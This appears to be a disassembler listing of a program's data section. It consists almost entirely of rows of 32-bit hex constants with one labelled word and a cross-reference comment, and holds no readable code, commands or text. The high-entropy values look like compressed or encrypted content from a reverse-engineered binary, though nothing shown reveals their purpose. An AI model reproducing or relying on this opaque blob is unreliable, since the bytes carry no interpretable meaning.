		dd 1DFED27h, 2F5625ADh,	7C734618h, 3E19AE29h, 0B8F2652h
		dd 0E020FD08h, 0C563701Ah, 0CFB4C600h, 98103EEEh, 9D7F1896h
		dd 0DCD339E6h, 8300F6ECh, 798EB3ACh, 75A08D91h,	7F510033h
		dd 7D675C65h, 7C0048CAh, 64151B3Fh, 219175Bh, 0A9F44C8h
		dd 0D4782A92h, 4B325422h, 3C482235h, 2000C70h, 27BB7B2Eh
		dd 1ECF40h, 0FA90036Bh,	0E7CBBA08h, 8E521C00h, 1B6A2D37h
		dd 397560E2h, 3C650AA4h, 5B5FAC00h, 60B35859h, 0B27300D9h
		dd 0DD7FCE75h, 70008FF1h, 5547087Dh, 4984B9Ch, 8433C1F8h
		dd 37BCC37Fh, 57914F0h,	80627E00h, 8C75FCBFh, 7374100Eh
		dd 9A5D0330h, 1EA47D2Dh, 53E86411h, 0AC840CADh,	25246160h
		dd 803B0A4Ah, 7C8B7A6Ch, 3515F4h, 398D9824h, 497C51Dh
		dd 0AAF39401h, 0AF22631Ch, 5B5B2ECh, 533A5B45h,	1966C0D7h
		dd 6F008FF0h, 0B8ACD416h, 9E13CDh, 0E5A52A60h, 5D6343BDh
		dd 410F2403h, 0C047CA3Dh, 3EF94B4Ah, 0AF00C3E2h, 9EB726E9h
		dd 3900727Ch, 5C1729A5h, 36342Fh, 81D59850h, 0F0412C65h
		dd 9C95EC00h, 5FA032C9h, 7E0E161Dh, 77642021h, 0D400AFC2h
		dd 86879B97h, 2DF9C80h,	0A6CDBD79h, 0C0408353h,	7C7FBC81h
		dd 59553000h, 2E8ABAF7h, 0F264032Bh, 0F0A98466h, 80CBD0F7h
		dd 2C06E0CAh, 2FA2CD1Ch, 454B0030h, 494B6CCh, 7000E8F8h
		dd 5C431FD2h, 2F6173h, 0D84E804Bh, 18D7C32Ch, 0E99A1209h
		dd 8428000Dh, 98ECCB6Ah, 855A1724h, 3740160h, 0E00156B6h
		dd 37008F7Ch, 5D1F38DBh, 0C00DEC0Bh, 5E08986Ah,	0FF0FEB5Bh
		dd 0E0AED1D5h, 5AE8F4C2h, 131C98AAh, 1883849Eh,	67B6115Fh
		dd 0DD9D2E00h, 0EDC625FCh, 0CFD5C38h, 20699F0Ah, 0DF98009Ch
		dd 0C0F2C7E5h, 0CB88AD18h, 5F8AE0h, 2BD2302Dh, 0FCCED8ACh
		dd 37589F00h, 5A214639h, 5F90032h, 0E7A566Ch, 9300179Dh
		dd 0CA7CAC16h, 2C26B290h, 1F68F61Bh, 27914FE9h,	0CCF57681h
		dd 0D6C03003h, 33662300h, 0E587C12Fh, 6F6C003Eh, 0F0FCC326h
		dd 60136A3Fh, 841CB330h, 0D3F45E01h, 1EF493F9h,	77C300CDh
		dd 5A362A49h, 7B072F88h, 0A854E689h, 51748D70h,	0EAFC3A4Ah
		dd 93B896h, 20ECDC13h, 0F73D39C9h, 8A037557h, 426E81C4h
		dd 0FAD6F085h, 0FFC4FF6Fh, 751D004Dh, 0EA342C54h, 4C0358FBh
		dd 6A477FA7h, 0E40ACDE6h, 6D00F8D1h, 361C1B48h,	6334005Bh
		dd 0B279626Fh, 1500113Bh, 0D6DFA701h, 434C7Ch, 5D8FC44Ah
		dd 892D98B6h, 64ECA800h, 4C2359BEh, 92E500B8h, 98C45F68h
		dd 0B907F320h, 48F995F7h, 0BF824D20h, 0F2F89008h, 1D92021Eh
		dd 49644E1Ch, 5C0124D2h, 3227378Bh, 0DC706218h,	0AC0F2415h
		dd 843B8F70h, 0F26C35E0h, 0F306AD64h, 7FD87620h, 1A9F6011h
		dd 80CA1A03h, 6E111E00h, 10E0664Ch, 9DA10BE5h, 4482FE40h
		dd 8E41255h, 21588709h,	4F92000Eh, 7DD00737h, 83271382h
		dd 0CD50476Bh, 0B373003Ah, 0CE127D93h, 2C802275h, 312B4F34h
		dd 9C59F62Dh, 41A80848h, 8B04601Ch, 306BC001h, 778E157Bh
		dd 54E370h, 0B59B352h, 253D68Ah, 15C70E00h, 4FC64D61h
		dd 805860A6h, 0C1DFA9B0h, 0BBD8CF00h, 8547BF92h, 3A9C00A2h
		dd 0EA7B4C59h, 0FAE21026h, 800AAF2h, 93413B2Fh,	90A8803h
		dd 0D6A6C569h, 28E9E381h, 7008972Dh, 510D9C02h,	0BC3C60A1h
		dd 0B8D42C2Ah, 81C31C44h, 55443770h, 820C6073h,	74AF8E00h
		dd 425718Ch, 0A7C83B58h, 20797618h, 9CB6A320h, 8D251702h
		dd 0D0D06298h, 7B0B4244h, 0F0167C7Ch, 7503DBE0h, 0E55BB7DFh
		dd 6E2EBC80h, 4C8D0054h, 0C3880DC1h, 9400FFF3h,	7D39E6D3h
		dd 0BBB90Ah, 2EF022DBh,	0CA706D4Ah, 0FAB53800h,	0F74B263h
		dd 0D5170075h, 447792FEh, 3E006220h, 0AC5F9BCh,	7ADD8D08h
		dd 572B0078h, 1042123Ah, 0DCE8488Bh, 0E8C3CB00h, 265D9BEDh
		dd 0BFF0E0h, 5FB3C85h, 73AC518Bh, 9E7E7200h, 70CEB615h
		dd 5A6C0674h, 11E48058h, 35F7FD00h, 0A38996A0h,	0BCD300DCh
		dd 5ED82088h, 0B07B7643h, 9F827A1Ch, 7DFCE1C7h,	0F21A6503h
		dd 0E5D4C8CFh, 2E5D88A9h, 85DAC638h, 58916042h,	9000C452h
		dd 0C702CDCh, 0CEF6027Dh, 1A3D8179h, 3B8FACC0h,	5360661Eh
		dd 0D3063540h, 30BDFF5h, 47B5F0E8h, 0E79F91E7h,	8B7F1044h
		dd 9E0018CBh, 0FF9516F2h, 0ECBBB7AAh, 345FC77h,	0AF5EFC4Bh
		dd 0CAF021A6h, 0C0006258h, 9D90B33Fh, 851DE7h, 33178411h
		dd 0BD9E2CADh, 16ED3800h, 124E56A4h, 4B810F22h,	9460E25Ah
		dd 4293A288h, 6FF35B00h, 83D59606h, 1E467A14h, 1E9466F0h
		dd 31B6070Bh, 0E90F9033h, 5C008E88h, 5F4202ADh,	0E43639h
		dd 641A07EEh, 2295D762h, 0C405158h, 19F048EAh, 0FA6F0031h
		dd 0F60F8EB8h, 5E0005CAh, 277A25A1h, 0F73828h, 95533550h
		dd 6A442CBCh, 687C3B03h, 0A8410605h, 7BFE6925h,	0D2B40E43h
		dd 32A01F1Ch, 0CA9DA419h, 4100F579h, 968AB5FFh,	0A6508Eh
		dd 7199988h, 0C6FB5C4Fh, 4B76E160h, 3CD7B46Fh, 0EB8BC47Dh
		dd 64C01169h, 0F020BEC6h, 72B00AFh, 8E2776F5h, 75006E3Ah
		dd 0DC86D873h, 1D3B67h,	46BF6639h, 5405593Fh, 0ECD961E3h
		dd 0A43899D5h, 9D3B800Fh, 54C400Bh, 37F4004Dh, 0C79F5E0Dh
		dd 0D10ECD20h, 806A6138h, 69DF73B4h, 0E9E03AFh,	0B36F2DE7h
		dd 6B782580h, 7E8E4600h, 689354C0h, 0A9CA0020h,	0B270E4D0h
		dd 71035535h, 62B1A2F8h, 0AC9D8EEh, 0BA290157h,	8D8FF9FEh
		dd 381A7114h, 0A6CA50FCh, 48CBD00h, 0C4D99A57h,	0D4D003A0h
		dd 0F707B2FFh, 6DE1A388h, 86B18200h, 5CBCF10Bh,	0AF390043h
		dd 0C2E0E590h, 0FAE8B879h, 0A558h, 638EF420h, 127121Eh
		dd 0B5A24C7Ah, 0D44A3551h, 0CD00C6D1h, 119BC1E5h, 0A9AB42h
		dd 27103D3Eh, 3644917Fh, 9D7C6D61h, 7C78FF49h, 0FB9EA79h
		dd 0E82547C9h, 7132CCFEh, 0F70069F0h, 0D9595677h, 16782F4h
		dd 9BF15478h, 284CE2DCh, 0A32B04D8h, 3CC0D521h,	0E2458798h
		dd 274400F7h, 0CA951023h, 6F04662Fh, 0C7C0263Fh, 0EBDD84C3h
		dd 0A076AB5Eh, 0F8153155h, 0B8AE043Ah, 0C09CF0DEh, 0FD48079Ch
		dd 0AC644013h, 0E0B7CE00h, 0D8BC99h, 46C2DFB0h,	31ABA19Eh
		dd 583E251Eh, 7052B180h, 372E836h, 3512F52Fh, 0A28985Ah
		dd 4800A0FAh, 1A514B9Ch, 76661B36h, 3DCF00ADh, 0D36E3F33h
		dd 881E45B5h, 0D0931FCEh, 9A9DD000h, 0EA5424h, 792AFAB6h
		dd 0B75EB3E3h, 9C4F3D00h, 89D6F67Ah, 36E8E0h, 99025CFEh
		dd 17741B6Bh, 42C24F03h, 0A835A53Bh, 0CB8809B2h, 0C2807D11h
		dd 0EB1BD822h, 192B7E0Eh, 62156FFBh, 78FDB82Fh,	3142ECh
		dd 1008D333h, 0C96AEh, 51ABE068h, 8A064387h, 0A4C7D714h
		dd 0D5F200C8h, 7525023Bh, 5889813h, 6390BE23h, 7D090ECh
		dd 8C7A304Ch, 38E93424h, 503CDB09h, 1B732C88h, 0EC1D8BF8h
		dd 0CBB694E0h, 80179C3Ah, 1A863CADh, 1D56E91Ch,	8B1F132Fh
		dd 0BF00B1AAh, 1EABAC62h, 0BD7E0E00h, 51617453h, 0E9C438A7h
		dd 87AE9000h, 97E07C8Eh
		dd 33F1FE00h, 0B1B34B5Bh, 0F207DB7h, 62FCF41Eh,	659D0A40h
		dd 0B07A121h, 0DC236755h, 5F160F70h, 0EC530358h, 0CA91F5AFh
		dd 0D28895D0h, 4E2C3648h, 0E2C92FF0h, 0A17500F0h, 6D6F284Dh
		dd 980046D4h, 0A2682FC7h, 0B87F184Ah, 2DAC0031h, 4B55EAE3h
		dd 3400F0CEh, 7EE70A4Eh, 0F8841Fh, 0A1D150A6h, 0A28063CAh
		dd 78E5F73Dh, 0DBE40095h, 0EB1892h, 90BB534Eh, 52ECCF07h
		dd 6A482603h, 0A0B88944h, 9F8566h, 0D912A02Ch, 0D187D8E1h
		dd 78378601h, 680845F5h, 0FC177D0h, 0C809210Ah,	0C6D0BF60h
		dd 6A283280h, 1507A81Fh, 588AE0Bh, 1D923E30h, 0B04A0728h
		dd 18C566h, 0C26ACA55h,	0D83A0700h, 2767485Fh, 1B8400BCh
		dd 7C457276h, 54B088CAh, 6417C005h, 0A8000E09h,	37D3A70h
		dd 74F700B9h, 66576235h, 0D012D5CFh, 4400B230h,	26A35DE8h
		dd 525B00ADh, 20C47A38h, 0A000198Dh, 0F5279D10h, 7CAB6B5h
		dd 6364F89h, 0DA0B9056h, 0D900B0E7h, 0A69E1DF7h, 0B8A88ABAh
		dd 23501CDh, 0A4EC8004h, 42C3264h, 96BED767h, 9800A585h
		dd 0A9E11D5Ah, 0E8220E0Fh, 4CE0C173h, 5C178008h, 0C635Ch
		dd 7116E469h, 3F9B14Bh,	3739723Dh, 67CACC2Fh, 360BF0E0h
		dd 0B5DF301Fh, 619A6040h, 602CCF9Bh, 6B9111CEh,	0A7006642h
		dd 5141F93Dh, 0B0C8041Dh, 0B83B01BBh, 0D1903228h, 206B7188h
		dd 530034E5h, 0D46CC923h, 2069C8Eh, 0C0C2D698h,	80569376h
		dd 3D5E003Eh, 0D5AE0C92h, 73229890h, 0CCFF074Dh, 0A0C97FA6h
		dd 6D1EE1B2h, 56AAD000h, 4383E309h, 0A8DB1C12h,	788101A5h
		dd 0C0D1B384h, 3900B6B4h, 6848E132h, 0CD06BA4h,	3DAE2112h
		dd 6F00D911h, 0C8D2DD26h, 1FBEBB8Ch, 803103CAh,	0F4A0B2D5h
		dd 3CB8C3ECh, 0EF462201h, 0E81B8101h, 7930002Ah, 68BBB1ADh
		dd 585287A0h, 2400355Bh, 0B91B250Ah, 0E5BF3BD5h, 0D71A0B8Eh
		dd 9330ACC2h, 3A1FBC76h, 0E78680F8h, 0BD791832h, 1261F852h
		dd 47D8FF8h, 0D0A3366Ah, 4C45D440h, 0F24E51E2h,	0C0B54C20h
		dd 0BD800AF8h, 16DC65A6h, 79E493B2h, 16FC1058h,	0CE04F688h
		dd 2881A25Fh, 0E9CCEEB1h, 4F6B3h, 9DB96DBEh, 0F4DF6403h
		dd 3B4748h, 96098002h, 4114F7h,	724E441Dh, 0D890364h, 7FF26800h
		dd 3038390Ah, 0FA860384h, 8BF50647h, 0F420E49Ch, 0C023DB00h
		dd 0F0194E5Ah, 7C4458A3h, 0CE638A00h, 0FB372FEDh, 80030874h
		dd 27539AD1h, 398CB006h, 0C05D4B24h, 45AA26C4h,	0D5144F0Bh
		dd 0D2FE8582h, 0E5F2CC07h, 21EB5520h, 72E0E7h, 0ABD6B465h
		dd 9175C8CAh, 0C2388D60h, 3874873Bh, 0CD80AD83h, 3CEDC690h
		dd 633FC85Ah, 915B0EC9h, 15F262A5h, 2D40562Eh, 0B6E08E60h
		dd 0B21B200h, 35CFC10Ch, 821400D0h, 30A82066h, 89EC561Eh
		dd 4ED7CD0Eh, 32BA0BAh,	0B97C3B6Eh, 33E300FCh, 8E53C2CDh
		dd 9FB9A4A0h, 0DF693013h, 941984C1h, 0EF50002Fh, 9F1A3D41h
		dd 0A1C3AB0Bh, 373083D9h, 7133A048h, 0B0F0EBh, 5DA673B9h
		dd 4C4E547Dh, 566A8900h, 0F672C5E5h, 0ECBE3A1Fh, 0C11A8E00h
		dd 0DC2C499Eh, 161578C0h, 0B0751239h, 6ACD166Bh, 1ACD00ABh
		dd 0F3C1379Ch, 0E86B5100h, 0DC7D2625h, 77D0B8A2h, 1A80F9FCh
		dd 37F0EFC2h, 0D0165A5h, 62DFD61Eh, 0C6707507h,	0A45FA0h
		dd 178C6C8Ch, 1E0728A6h, 5E5B586h, 569C1DA0h, 0AC2E075Dh
		dd 0F0615A62h, 0B9AA8340h, 7590A300h, 4C356F46h, 12293F14h
		dd 0CC8227BBh, 1F92C6ADh, 0C0D00C41h, 29F70D2h,	0E0766E40h
		dd 7B19D37Ch, 6C59017Bh, 0B65D2747h, 0B5E6407Ah, 3E00A48Fh
		dd 6BF602CDh, 18513D8h,	52B42E77h, 0E50C498Ah, 0CFA5D4F0h
		dd 0F5D9191Ch, 0D7479480h, 4E785Ah, 1EB093E1h, 0CDC99107h
		dd 6C59C8A0h, 2D4B289h,	771901C3h, 0E6E7E0FDh, 0D2218045h
		dd 0CA697517h, 79CFA58h, 90034028h, 0C69AB44Eh,	600110Fh
		dd 0F3518B81h, 2AF18C5Ah, 2EA43691h, 42303B3Eh,	250007E7h
		dd 17FDCBh, 6DCAB257h, 0E80302C5h, 0EDD9D71Eh, 673C8F80h
		dd 614C1BA8h, 7C6350C1h, 60CC02B1h, 3DBFD11Ch, 1002D8F3h
		dd 0DD404C85h, 8A264448h, 8094C009h, 0E02E007Bh, 0BE5650C1h
		dd 0F4893D08h, 60403AD4h, 9000813Dh, 0E862CE46h, 137FAC1Ch
		dd 0DDD51Dh, 0BBB09470h, 4002383Ch, 0B407289Fh,	17C74E3h
		dd 659B0DF4h, 8EC7D9F8h, 805BB278h, 0FB4A74DAh,	99E30C7Ah
		dd 3618E41Fh, 95C73D00h, 8844123Bh, 0C5DB00CDh,	0C6AED3C8h
		dd 9C28FB76h, 0BC00A47Ch, 0E7F89B4Eh, 1D887FEh,	51A665DBh
		dd 68F42A41h, 1CB38CCh,	0CF501B44h, 0C5602272h,	804B00E1h
		dd 0C6EDF8D5h, 10012F26h, 6C5775E9h, 0BCEC955Ah, 62830045h
		dd 500423EAh, 4100CEFBh, 0D87930A2h, 0ADB7A2Ah,	0D624E371h
		dd 21EC01B4h, 0CCA92297h, 661C3507h, 90ACED80h,	2B8FDC00h
		dd 1DE2D9E1h, 0C003C29Eh, 0F9100A3Ah, 0B41213C5h, 790093CDh
		dd 4CB6A69Ah, 8747482Ch, 508050h, 4A785281h, 0E4199B13h
		dd 82FAD8A8h, 55312609h, 1C98F069h, 0C9B0CFh, 0F5A9245h
		dd 0D0FA01DFh, 20AB212Fh, 558D28E8h, 8E320059h,	7B0125C9h
		dd 0DD00C5C7h, 0FF4E67DBh, 13C148Ch, 0C007F50Fh, 787B0BF9h
		dd 311000D0h, 6BF7952h,	5C360021h, 57D45D20h, 0AA271218h
		dd 954C8402h, 3204F0h, 0C1DA1715h, 0F4F78791h, 34402EE9h
		dd 4F79CBBFh, 0F2070047h, 0D90E3DD2h, 0EA48A7C6h, 8B50710h
		dd 954002C2h, 2AA677h, 82CC1DE7h, 6B61ADD6h, 7CF06327h
		dd 0B4E0006Dh, 0C09F517Bh, 0D6E6F31Ch, 28832D87h, 0C919B3D0h
		dd 0A59D0013h, 0E133BC6Ah, 543D4B70h, 0A26601D2h, 3640A903h
		dd 3D9B830h, 2151FC0Ah,	917807BEh, 0F272AD44h, 1E28C035h
		dd 385221Ch, 8FB02600h,	843E2D93h, 0C0B200CDh, 627DD5EEh
		dd 0F7004DC9h, 5352EA46h, 859A97h, 0A403DEF6h, 9EBBD0CDh
		dd 92C51500h, 0AC1FAD63h, 74AFA2Ch, 7A0F190Eh, 13D760C9h
		dd 550E871Ch, 20C16A4Fh, 0D48CBBE0h, 98F816h, 5C7E72C4h
		dd 0A0B4C67Fh, 45BFEB0Bh, 4820A093h, 438D91Eh, 3094B1Dh
		dd 0CDE6C06Bh, 3DEEACB9h, 18D00800h, 62DEFA76h,	3FD6FAA6h
		dd 0AB00E10Fh, 40D573BFh, 2401F59Ch, 18A5B7ACh,	2C60F90Ch
		dd 883B0061h, 5B08D791h, 0E200F758h, 13DECEADh,	5B6DCF6Ah
		dd 0C1E800F4h, 2232B0D1h, 0D86FC001h, 21C9C2A9h, 514AC0h
		dd 4CF91C6Eh, 7980FDC4h, 9D18C100h, 178A8132h, 0FFCD0090h
		dd 5F69625Eh, 1B247C99h, 1500A92Ch, 0ABC43A72h,	932A4CFDh
		dd 2431F12Ch, 1FE00E7h,	3EF7A9Fh, 0EE052D00h, 0FBF29661h
		dd 1E990053h, 0AE3ACC2h, 0D0005A51h, 88B9C712h,	1869DE01h
		dd 112A44E6h, 2203708Ch, 0D35EEAEFh, 615D8264h,	0B06DE6F4h
		dd 0A098B107h, 188420A5h, 5600959Ch, 0AF482B29h, 768E449Fh
		dd 665C0047h, 4D347051h, 0A300521Dh, 0FE17B704h, 0EB47C2C1h
		dd 79830EE0h, 3E1C00CAh, 5116AF0Ah, 4C001573h, 612FB591h
		dd 277202E9h, 8848FE03h, 3200319Bh, 0AA9589A1h,	12905F46h
		dd 0F269C2C5h, 0FD162CBCh, 1E4D09h, 9F382FA5h, 521700C7h
		dd 7685F10Ah, 6700D94Fh, 51B516E5h, 13AB01EFh, 80D0F596h
		dd 0E8F27950h, 8BE01F74h, 818DB130h, 6308072Fh,	9730C6E9h
		dd 6E24080Dh, 0D6E12069h, 0A1EF1088h, 4F01F69Eh, 945CF8Dh
		dd 18B864E0h, 21A9DC24h, 8B13C1AEh, 0C4B4FC63h,	2F3A00ACh
		dd 3137A629h, 401FBCF7h, 8100DC02h, 4AD4F83Ch, 0AF840016h
		dd 11F31CD1h
		dd 324FC6EAh, 5900488h,	8BB7FC31h, 595C00A3h, 36643DBh
		dd 0CF571500h, 94403FC4h, 121F870h, 14B91044h, 3A302DDAh
		dd 0C702C407h, 8CA080FFh, 9E1A25h, 38E424DFh, 4254515Ch
		dd 4E48F77Ah, 8EF85BBFh, 0BEBCCA00h, 0AF8C7E5Bh, 0A66DE12Ch
		dd 4203A800h, 9F66DEh, 0B8A5A296h, 2366F98h, 6DDCE603h
		dd 0C06A8849h, 6940B1h,	0C5037EC1h, 0E5DA9F5Ch,	0AA92EA07h
		dd 8E60E489h, 7C13AFh, 0DE63ACCAh, 6010DD4Fh, 0A58BA900h
		dd 0B066F1E2h, 0A1900051h, 0FD8127ECh, 1D074FACh, 3A9DA8F8h
		dd 0B207C48Ah, 0A6819C74h, 0D0E03D8Eh, 0E9200034h, 0F87C0EA8h
		dd 89288BB5h, 4B3FA827h, 258160Ch, 32F5DC80h, 9D6314A5h
		dd 0D419CC16h, 2AEC0847h, 3ADFFC00h, 51C0A5h, 13E6EADEh
		dd 0E93CFF14h, 0EA90401h, 8BB60398h, 45076822h,	867D784Fh
		dd 26001801h, 70F4BF5Bh, 26981DCDh, 0D258720h, 0F464C6h
		dd 0FADF92F0h, 967710C0h, 0AD71A3h, 0CF0A40A7h,	8CB9FE84h
		dd 0B279277Ch, 340026E4h, 0FACAAA43h, 39B33F0Eh, 3B82CE12h
		dd 0CB74E0F1h, 33938980h, 0BE0024CDh, 760EB9B4h, 4D967Ah
		dd 8422AF17h, 50B235B5h, 0ED384E1Fh, 498A6F00h,	0F6AAEADBh
		dd 0B06A0E8Bh, 54E03178h, 1B77FEE5h, 0A23A8901h, 6C9B16BEh
		dd 780862E0h, 0F0AFA09Ah, 0C40E2AAh, 0EFC6137Bh, 8D00E318h
		dd 91296DBh, 1AB4BA6h, 73AACC40h, 80942568h, 0F847B230h
		dd 722C7B03h, 0E4931D87h, 211E9886h, 0F707CFB1h, 0AD23F93Bh
		dd 97C01287h, 0C1A78F89h, 7E243158h, 0AA70980Ah, 1B532A21h
		dd 11A5BF9Ch, 90490E17h, 483F8400h, 0F0A8B6h, 0ABACFB29h
		dd 9F267AF2h, 188ACB33h, 5A10D03Ch, 0F451C3A2h,	21D09B42h
		dd 0EF337B67h, 96092Ah,	827AD421h, 0D1AD6A5Ah, 0E899976Ch
		dd 23180F3Bh, 6D01130Dh, 0F05CD368h, 7201D16Ch,	0A3A8AB53h
		dd 9AD004F9h, 0CB2F3923h, 5EA01283h, 11421ED7h,	3007E004h
		dd 5610C0C6h, 7FAB0252h, 976371Ch, 0FEE44CC0h, 0B427E3h
		dd 314934Eh, 6AC5671Dh,	0F9E07600h, 0A60ED371h,	0B7583B89h
		dd 6BA70F01h, 0F8776150h, 26003219h, 5BD0025Dh,	0F86FF23h
		dd 9B7D3AA6h, 5EA52880h, 887A972Eh, 1C104700h, 0C9168FCh
		dd 0AEC028AFh, 0B4F4AAh, 0B286E6FAh, 0BD62AC69h, 210FC303h
		dd 0D053E22Bh, 0EE801FD4h, 0CF8100FFh, 851A97B1h, 1100FD71h
		dd 6A65FC0Fh, 0E2D187h,	7CC3DEABh, 0DB1D1594h, 4D59F000h
		dd 0B9220BFBh, 9B7B46h,	0B5ABF7AFh, 0F1AD783h, 0E6386AE0h
		dd 52CE80C4h, 0FCBD1720h, 0C17D00E1h, 0EAF121D3h, 0E3711586h
		dd 6EB4731Ch, 0E9BB4AC0h, 306C9C43h, 0E17026F8h, 0C2006001h
		dd 1D5E6B6Dh, 0F403DF2h, 67AA87CDh, 3FC711A1h, 38CC4326h
		dd 0FA42E2A8h, 4B933100h, 0CAC45958h, 15FD0089h, 374FB19Dh
		dd 27077252h, 698354CDh, 66E26F41h, 1F63D6CCh, 1C0D7D3Eh
		dd 0D12040D2h, 3A6781BBh, 2EF64CE2h, 1FE324h, 0E125EA87h
		dd 0EF5DF720h, 9C7E00D7h, 9F8D9BB8h, 60C028B6h,	0D9F1B52Ch
		dd 348500C3h, 95FCB4F0h, 8A009BFFh, 273711BBh, 0ACB382h
		dd 0BE6270A0h, 6D04E646h, 88D58600h, 24C83257h,	0EC0C00E5h
		dd 0AB9D4C59h, 0DA1D8A84h, 7C016A92h, 0D0B0E8A9h, 115A4FCh
		dd 0F8B50D1Fh, 0D9801D64h, 0A9D450FBh, 5960B6B1h, 252E7B99h
		dd 896800F0h, 1D933FA3h, 0ECEDB82Bh, 0F9021A40h, 0CE363527h
		dd 4978488Bh, 28020756h, 9A1BDCh, 0E1F635F4h, 4838C303h
		dd 4C11F9h, 0A939EA68h,	192CD854h, 2696ED00h, 62F3DD59h
		dd 7C5A3B8Fh, 7741BE80h, 14BAD67Fh, 0E249B000h,	0C6117A27h
		dd 0B6E50419h, 0C29FB120h, 464165D4h, 10F0504Eh, 35F222C8h
		dd 56C83461h, 5DCC83ECh, 59E5037Bh, 0B953B001h,	43326B88h
		dd 66754D03h, 0A08D2A26h, 5088Fh, 0D8AEF74Eh, 786A23D4h
		dd 49C64800h, 5B62F4CBh, 21B40029h, 1BD0406Ch, 0B907F290h
		dd 36439163h, 0B99C7E0h, 0AE3A0092h, 9FF60265h,	9A0EFA8Dh
		dd 6153D610h, 5A6ABD72h, 9334E450h, 900CE82Eh, 655630ABh
		dd 5F2B927Ah, 0C9B01113h, 40A12840h, 63A83CD7h,	0D5F52A31h
		dd 0C71B84C0h, 0A57A6C00h, 0AFD61632h, 4DBEA9Fh, 0ED218FA7h
		dd 70F08761h, 24026242h, 0A6633600h, 8CB1B6F5h,	0E6DC070Fh
		dd 0A3800E92h, 22E88DB7h, 11000D60h, 0F9C315DBh, 1679CBh
		dd 6156A336h, 0FFF74CCDh, 24E93B26h, 9100481Eh,	8202149Fh
		dd 8050DC10h, 0B4FFE01Ah, 9304C4E4h, 0FCF3EB1Bh, 0D0166C0h
		dd 18A71740h, 0BC5A00F5h, 8F78FD8Dh, 76291A00h,	242F34EEh
		dd 0D940BD10h, 0AB124F98h, 0EA1480h, 79A1D8A3h,	0A12D69Ah
		dd 0B41E2EE5h, 5F7BF440h, 0C4C76h, 71020D4Eh, 378E2454h
		dd 0BF5C4Ch, 5D1F78ABh,	849EDh,	4DFD5E5h, 510C1C4Dh, 0EC68F100h
		dd 0BDC181F0h, 0F249E61Dh, 930F003Ah, 3B48A23Fh, 0F200074Fh
		dd 47F4EC2Eh, 1A88EDh, 0D9668404h, 279822A4h, 0BA89B000h
		dd 6B3623CAh, 48C7120Fh, 0CE9040A7h, 60D35AFDh,	13F96400h
		dd 3EDCE5A8h, 0DAA900E7h, 49122110h, 0CD0A29EDh, 0F85B7ED4h
		dd 9B3FE981h, 0A020CAF9h, 8C40508Bh, 0FCC00BFh,	7A538A2Ch
		dd 0E1E3C5B6h, 1AFD8BDh, 0C4D8D300h, 70177934h,	7F78B5h
		dd 0E29C9009h, 8B6A6E10h, 79D5361Dh, 4C07F392h,	5A112237h
		dd 0B0803F59h, 672C985Dh, 109AC105h, 4306C300h,	0E6D63129h
		dd 0F6F10024h, 21750267h, 5F033D28h, 12F23738h,	0F3100320h
		dd 83294236h, 0C0E55DC3h, 103E76B7h, 619E9024h,	0FC9311Dh
		dd 46F40183h, 0CAE4E081h, 4A3300C9h, 968C545Eh,	40CE53B3h
		dd 2F9966B5h, 73870720h, 0C06B699Fh, 0F8FA9150h, 52ADE900h
		dd 304A925Eh, 7D3F0768h, 70188D41h, 3A73CD4Ch, 6A6CA400h
		dd 0B2D27B9Dh, 28C00004h, 729C215Ah, 0CE00B971h, 73C4DA4Fh
		dd 41180Eh, 96FFBF0Ch, 3C63322Ch, 0D3389B00h, 482EA9C9h
		dd 0F7011727h, 3BB900DEh, 371BA29h, 86E9D10Eh, 40C0DF74h
		dd 0BCDB1507h, 0DC3F0022h, 64042B8Bh, 951EEAC9h, 9B80ADACh
		dd 9D105A2Dh, 1BE005F4h, 81D11A2Fh, 0C063C97Eh,	7D006EEEh
		dd 3EA4A5E8h, 971725h, 8F9D5574h, 15ECDB82h, 70B661Eh
		dd 0BCD47D80h, 3FB79Ah,	7CC5F5FCh, 143A1946h, 1708E838h
		dd 0F600715Bh, 9EB363D3h, 0C23C0088h, 5C1409BBh, 6E0BB146h
		dd 0A02801CFh, 1B3A6D64h, 0DA040355h, 819F11AFh, 8B3689E0h
		dd 4DE1A400h
		db 4Eh,	0E6h
word_544F42	dw 0E3B5h		; DATA XREF: ___:off_4374C0o
		dd 7BBC0B47h, 9900A37Fh, 0ADD3E8Ah, 0C36DB200h,	0BD13B595h
		dd 58E7EAF8h, 52009084h, 51FC8A0Bh, 6A5DA098h, 58007C94h
		dd 9EADEB50h, 1DB6E2E4h, 3D1DA3Eh, 3061C2F7h, 0BFA8990Bh
		dd 0F8B42077h, 0FED322h, 9CD1B2FAh, 13CF5E18h, 0F3B4170Bh
		dd 2F208049h, 1DB1A60h,	0EF406E6Ah, 0F02DB56Dh,	0E10EC7B6h
		dd 672EB0DAh, 0A9806FA1h, 0EE81A7h, 99B6F0F7h, 0A002D978h
		dd 51FBB0C3h, 1869B275h, 0AD03EA15h, 24E2B3B6h,	0AED9A0B7h
		dd 0A17A6006h, 0C2E5A59Ah, 0FFD84000h, 825DA25Fh, 36F4F3h
		dd 1C0FB680h, 0FE3F062Ah, 45091403h, 97A47993h,	0E75FDFD0h
		dd 6DB86Fh, 4CD81703h, 0AF9DE92Ah, 6C26AC2Ch, 0E37D6600h
		dd 37B8A62h, 0EB8436AAh, 20A1B0FAh, 89D2D02Dh, 0F1F3A903h
		dd 0B00DADCCh, 93581Dh,	1B64D9B1h, 85F670C2h, 4211D300h
		dd 3C288892h, 1612000Ch, 0E80965E4h, 7E006878h,	0D5665B80h
		dd 95D3ACDh, 0DB12177Ah, 0DC81844Fh, 554D335Eh,	0FCC28850h
		dd 0E0830178h, 291DAA28h, 23C4F8F4h, 58347B01h,	32DA071Eh
		dd 0A31420h, 0B0D19621h, 31D3CE0Ah, 0A758CFh, 2A477735h
		dd 523E03AEh, 568438CDh, 0A1ABF0D0h, 6EF56800h,	87CB2A46h
		dd 0E7FF140Dh, 99E120C8h, 3D2C18C1h, 0EC006D72h, 5E8B7BA9h
		dd 7524CAAEh, 4F408C07h, 1D839E9h, 0EAE496B5h, 0D1B386A7h
		dd 8721BF4Ah, 0DED39E0h, 0B5B14100h, 15C47E67h,	8479F20Ch
		dd 0E445E603h, 0B806FB4h, 0F800504Ah, 6BD969D0h, 557BA9Ch
		dd 56ADB21Ch, 199000C7h, 9925C338h, 0ECB01154h,	0B6D2E400h
		dd 6F915506h, 60473993h, 4BEA93h, 57DD9928h, 367D1E0Ah
		dd 1CC81252h, 5BC7A09Bh, 4F500D1Ch, 639DB04Bh, 9F1921BCh
		dd 0E98759B8h, 5E2C252Eh, 69702B18h, 267805E2h,	40D815CCh
		dd 61FDABF0h, 0A3065202h, 934A318Ah, 0C83E5D08h, 61C58D00h
